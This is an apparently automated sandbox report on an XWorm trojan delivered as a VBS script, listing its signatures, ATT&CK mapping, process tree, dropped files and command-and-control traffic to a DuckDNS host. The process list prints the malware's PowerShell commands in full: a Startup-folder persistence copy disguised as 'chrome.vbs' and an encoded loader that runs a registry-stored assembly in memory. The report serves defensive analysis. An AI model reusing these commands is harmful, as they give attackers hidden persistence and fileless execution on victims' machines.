Malware Analysis Report

2024-09-11 13:45

Sample ID 240614-bpzddszbjb
Target 604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs
SHA256 604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622

Threat Level: Known bad

The file 604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Detect Xworm Payload

Xworm

Detects Windows executables referencing non-Windows User-Agents

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 01:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 01:19

Reported

2024-06-14 01:22

Platform

win7-20240508-en

Max time kernel

121s

Max time network

121s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2248 wrote to memory of 1744 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2248 wrote to memory of 1744 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2248 wrote to memory of 1744 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2248 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2248 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2248 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABjAGgAcgBvAG0AZQBcACkALgBjAGgAcgBvAG0AZQApADsAIAAkAHQAZQB4AHQAIAA9ACAALQBqAG8AaQBuACAAJAB0AGUAeAB0AFsALQAxAC4ALgAtACQAdABlAHgAdAAuAEwAZQBuAGcAdABoAF0AOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABlAHgAdAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAE4AdQBsAGwALAAkAE4AdQBsAGwAKQA7AA==

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 84c14fabd9f22c1837d1d107c7d8c30d
SHA1 cf318f7a9da724da64d2013543333c69a2234963
SHA256 1622a6da9df6d0a221306ad796226a5137e16fec0e5070e6eb0548299892ea4f
SHA512 6dce8ef2c690f63ef19a71b31f881a0fe88a94ec4845aea947b5b5b7b6a3a541c5e0e13aed0104e8ef6c5adf4926aeb7a7cfac461a6de76d5f963a5621e391a8

memory/2108-9-0x000000001B680000-0x000000001B962000-memory.dmp

memory/1744-10-0x0000000001D20000-0x0000000001D28000-memory.dmp

memory/2108-12-0x0000000002920000-0x0000000002930000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 01:19

Reported

2024-06-14 01:22

Platform

win10v2004-20240611-en

Max time kernel

92s

Max time network

142s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 208 wrote to memory of 3432 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 208 wrote to memory of 3432 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 208 wrote to memory of 4928 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 208 wrote to memory of 4928 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABjAGgAcgBvAG0AZQBcACkALgBjAGgAcgBvAG0AZQApADsAIAAkAHQAZQB4AHQAIAA9ACAALQBqAG8AaQBuACAAJAB0AGUAeAB0AFsALQAxAC4ALgAtACQAdABlAHgAdAAuAEwAZQBuAGcAdABoAF0AOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABlAHgAdAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAE4AdQBsAGwALAAkAE4AdQBsAGwAKQA7AA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 89.43.201.23.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 estrella1221.duckdns.org udp
NL 95.211.139.183:7000 estrella1221.duckdns.org tcp
US 8.8.8.8:53 183.139.211.95.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 35.15.31.184.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/3432-0-0x00007FFADAA53000-0x00007FFADAA55000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itpqltrn.at1.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4928-19-0x000001BA63960000-0x000001BA63982000-memory.dmp

memory/3432-20-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/3432-21-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-22-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-23-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-24-0x000001BA63D50000-0x000001BA63D94000-memory.dmp

memory/4928-26-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-29-0x000001BA63950000-0x000001BA63960000-memory.dmp

memory/3432-30-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-32-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

memory/4928-33-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp